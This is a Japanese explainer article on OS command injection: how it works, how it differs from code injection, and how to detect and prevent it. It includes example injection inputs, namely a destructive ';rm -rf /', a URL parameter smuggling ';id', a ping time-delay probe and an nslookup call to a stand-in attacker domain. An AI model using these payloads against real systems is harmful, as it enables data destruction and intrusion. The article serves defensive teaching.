San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
San Antonio API Security Summit 2025 に参加しよう!
閉じる
プライバシー設定
ウェブサイト運営に必要なCookieや類似技術を使用しています。追加のCookieは貴社の同意がある場合のみ利用されます。同意は「Agree」をクリックすることでいただけます。どのデータが収集され、どのようにパートナーと共有されているかの詳細は、Cookieポリシープライバシーポリシーをご確認ください。
Cookieは、貴社デバイスの特性や、IPアドレス、閲覧履歴、位置情報、固有識別子などの特定の個人情報を取得、解析、保存するために使用されます。これらのデータは様々な目的で利用されます。分析Cookieによりパフォーマンスを評価し、オンライン体験やキャンペーンの効果向上に役立てます。パーソナライズCookieは、利用状況に応じた情報やサポートを通じ、貴社専用の体験を提供します。広告Cookieは、第三者が貴社のデータをもとにオーディエンスリストを作成し、ソーシャルメディアやネット上でのターゲット広告に使用します。貴社は各ページ下部のリンクから、いつでも同意の許可、拒否、または撤回が可能です。
ご送信ありがとうございます。内容を受け付けました。
申し訳ありません。フォーム送信時にエラーが発生しました。
/
/
Attacks

コマンドインジェクションとは?

過去20年にわたり複数の大手サイトを狙った侵入手法『SQLインジェクション』は既に知られていると思います。これは有名なコードインジェクションですが、攻撃者はデータベースクエリやコードの解析だけでなく、別の手口も用いて攻撃します。

攻撃者のお気に入りの手口のひとつに、『コマンドインジェクション』があります。

サイトやアプリ、それに付随するデータを操作する手段として、コマンド(またはシェル)インジェクションは非常に潜在的な脅威です。なぜ注意すべきか、その危険性や防止策について、以下で詳しく解説しています。

コマンドインジェクションとは?

コマンドインジェクション攻撃 - 何かとその実行方法

この攻撃は、ホストサーバのOSへ偶発的かつ破損したコマンドを送信することで実行され、対象のサイトやアプリ、それに付随する要素を管理者権限のように制御することを狙っています。攻撃の強度によっては、OWASPのコマンドインジェクション攻撃が、ホスティングインフラ、クライアントとサーバの信頼関係、さらにはアプリ全体の性能にも影響を及ぼす可能性があります。

発生の仕組み:

  • ヘッダーフィールド、フォーム要素、セッションクッキーなど、リスクの高い要素がユーザー送信データに結びついている場合、成功しやすくなります。
  • 攻撃の完全な実行のために、脆弱なサードパーティ製のリソースやアプリの力を借りることがあります。
  • 有効な入力が不足していることが、この攻撃を助長します。
  • コードの挿入が必須ではなく、既定のアプリ機能を拡張することで、改竄されたシステム上にコマンドインジェクションのペイロードを効果的に配置します。 

例 

  1. 例えば、ファイル内容を表示するプログラムがありながら、「;rm -rf /」といったコマンドも動作する場合、侵入者は現在のパーティション内のデータを容易に削除できてしまいます。
  2. 次に、PHPにおけるコマンドインジェクションの事例を考えます。改竄されたHTTP GETリクエストがシステムで受け入れられると、ファイルが操作され、危険に晒される可能性があります。以下をご覧ください:

http ://127.0.0.1/delete.php?filename=inject_demo.txt;id

上記のコマンドは、サイトやアプリ上の「inject_demo.txt」というファイルを削除し、誰でも実行可能です。


コードインジェクション vs コマンドインジェクション

いずれもホストサーバの破壊や改竄された要素の注入を狙うため、同一視されがちですが、必ずしも同じではありません。

コードインジェクションは、アプリ内で不正なコードを投入する手法で、エンドユーザーが信頼できないデータ入力を不適切に扱うことに起因します。この種の攻撃は、エンドユーザーデータの検証(複数の重要な検証のうちの1つでも)の欠如により発生し、コードの投入はローカルでもインターネット越しでも行われることがあります。

被害という点では、破損したコードの注入は、対象システムやアプリのみを妨害します。

例えば、攻撃者が破損したPHPコードを注入すると、そのコードはホストマシンのPHP機能や権限に大きく依存し、実行自体は単純で、トロイの木馬に似た動作を示します。

これに対し、コマンドインジェクションは、シェルなどのコアコンポーネントへ不正なコマンドを注入します。この手法では、攻撃者は外部コードを利用せず、既定のアプリ機能の拡張によって脆弱性を探り、見つかった穴を突いて攻撃を実行します。

また、この種の攻撃は、URLやリモートサーバを通じても行われる可能性があります. 

command injection how it work

一般的なコマンドインジェクション攻撃手法

以下の方法を用いると、この脆弱性が発生する可能性があります:

  • ランダムコマンドインジェクション 

クライアントが任意のコマンドを実行できるアプリは多く、ホストへ自動でコマンドが送信されるため、インジェクションが起こりやすくなります。

  • 任意ファイルのアップロードまたは利用

クライアントが任意のファイルをアップロードできるアプリは、攻撃者がこれを利用してコマンドインジェクション攻撃を実行する恐れがあるため、問題となります。任意ファイルを介して悪意あるコマンドを注入することは容易です。 

多くの場合、攻撃者はそのようなファイルをウェブルートに配置し、攻撃を実行します。

  • 脆弱なシリアリゼーション

サーバサイドのデシリアライズが十分な入力検証なしで行われると、この攻撃は容易に実行されます。 

ウェブサイトが動的なHTMLレスポンスを生成できると、攻撃者にとって好都合な状況が生まれます。このようなHTMLレスポンスの存在により、サーバサイドテンプレートへの悪意あるコマンド注入が可能となります。 

設定不十分なXMLパーサを用いるアプリは、ユーザー管理のXML入力を正しく解析できず、コマンドインジェクションの脆弱性を生じさせる可能性があります。その隙を突いて、攻撃者はXMLパーサに不正なコマンドを注入し、DDoSSSRF攻撃を引き起こし、さらにはデータ流出にもつながります。


コマンドインジェクションの脆弱性の発見方法

コマンドインジェクションの脆弱性は隠れていることが多いため、見過ごされがちです。以下は、テスターや攻撃者がその存在を確認するための方法です。

  • タイムディレイを利用

即時のコマンドインジェクション検知のため、タイムディレイを発生させる方法があります。pingコマンドは、送信するICMPパケットの数を指定できるため、効果的です。標準の実行時間は以下のとおりです:

& ping -c 10 127.0.0.1 &

このコマンドを実行すると、アプリは10秒間ネットワークアダプターへpingを送るため、ループバックアダプターも同様に10秒間pingが行われます。

  • ファジングを試す

ファジングは広く用いられる脆弱性検知技法で、単独でも他の方法と組み合わせても使用され、通常は開発者側の入力に対して行われます。 

入力のファジングは完全自動化されたプロセスで、アプリ内のコマンドインジェクション脆弱性を検出します。テスターはペイロードのヘッダーをファズして、コマンドインジェクションの有無を確認する必要があります。Wfuzz、ffuf、nuclieなどがよく使用されるツールです。

  • OSフィンガープリント

コマンドインジェクションが成功するための重要な条件は、ペイロードがOSのコマンドライン構文に適合していることです。OSフィンガープリントを用いれば、影響を受けるOSを特定でき、正しい構文のペイロードを早期に発見するのに役立ちます。 

  • アウト・オブ・バンド(OAST)技法

OAST技法を利用して、アウト・オブ・バンドでのネットワーク通信を引き起こす注入コマンドを用いる検知手法も有効です。 

例えば、&nslookup kgji2ohoyw.web-attacker.com & というペイロードは、nslookupコマンドで特定ドメインのDNSルックアップを開始します。攻撃者またはテスターは、このDNS問い合わせを確認し、コマンドインジェクションの存在を特定できます。 

アウト・オブ・バンドチャネルを通じて、注入されたコマンドの出力をフィルタリングすることも可能です。 

  • 出力のリダイレクト

ウェブルート内のブラウザ取得ファイルへ注入コマンドの出力をリダイレクトすることで、コマンドインジェクションの存在が明らかになります。 

コマンドインジェクションの防止方法 

影響を受けるアプリやデータの規模によって、コマンドインジェクションの結果は甚大になる恐れがあります。したがって、早期検知とともに、以下の有効な防止策を理解することが重要です。

  • まず「exec」を守る

可能な限り「exec」をOSに渡さないようにし、リスクを低減してください。アプリ内でできる作業は、できるだけアプリ側で完結させるようにすることが求められます。 

  • 厳格な検証チェック

信頼できない入力は、初めから終わりまで十分に検証する必要があります。未検証の入力は脆弱性を招くため、加えて入力がアプリの期待に沿ったものであるか確認してください。

広く認められている検証手法の一つに「ホワイトリスト検証」があり、アプリに適合する入力のみを受け入れ、その他を拒否します。検証時は、文字セット、日付の範囲、最小・最大長、日付および数値の範囲、正規表現パターンの一致なども考慮する必要があります。

  • メタ文字の無効化

OSのコマンドラインでは、重要な意味を持つメタ文字が多数存在します。これらを無効化することで、ハッカーによる不正利用を防止できます。Windows、Linux、Unixすべてに適用してください。

Windowsでは、各文字の前に「^」を付けることで無効化できます。また、特殊な意味を持つ ( ) <>& * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` についても同様に処理してください。

LinuxおよびUnixの場合は、各文字の前に「\」を付ける方法で無効化します。{ } ( ) <>& * ‘ | = ? ; [ ] $ – # ~ ! . ” % / \ : + , ` についても同様に処理され、コマンドラインインタプリタ上でその意味が消去されます。

  • 権限を減らす

最小権限の原則は直接の防止策ではありませんが、OSコマンド実行に使用されるアカウントの権限を限定することで、リスクと被害を低減できます。 

  • 安全なAPIの利用

コマンド実行は、安全なAPIを利用して行ってください。これらのAPIは、コマンドをパラメーターおよびコマンドライン引数の配列として処理するため、コマンドインジェクションのリスクを低減し、十分な検証が行われた安全なプログラムとして実行されます.

最後に

さまざまな被害をもたらすコマンドインジェクションは、ホストサーバやその動作に影響を与えるサイバー攻撃の一種です。データ、サイト、そして顧客を安全に守るためにも、この攻撃について理解することは重要です。上記の記事を読んで、脅威の内容と防止方法を十分に把握してください。

FAQ

参考資料

最新情報を購読

更新日:
February 25, 2025
学習目標
最新情報を購読
購読
関連トピック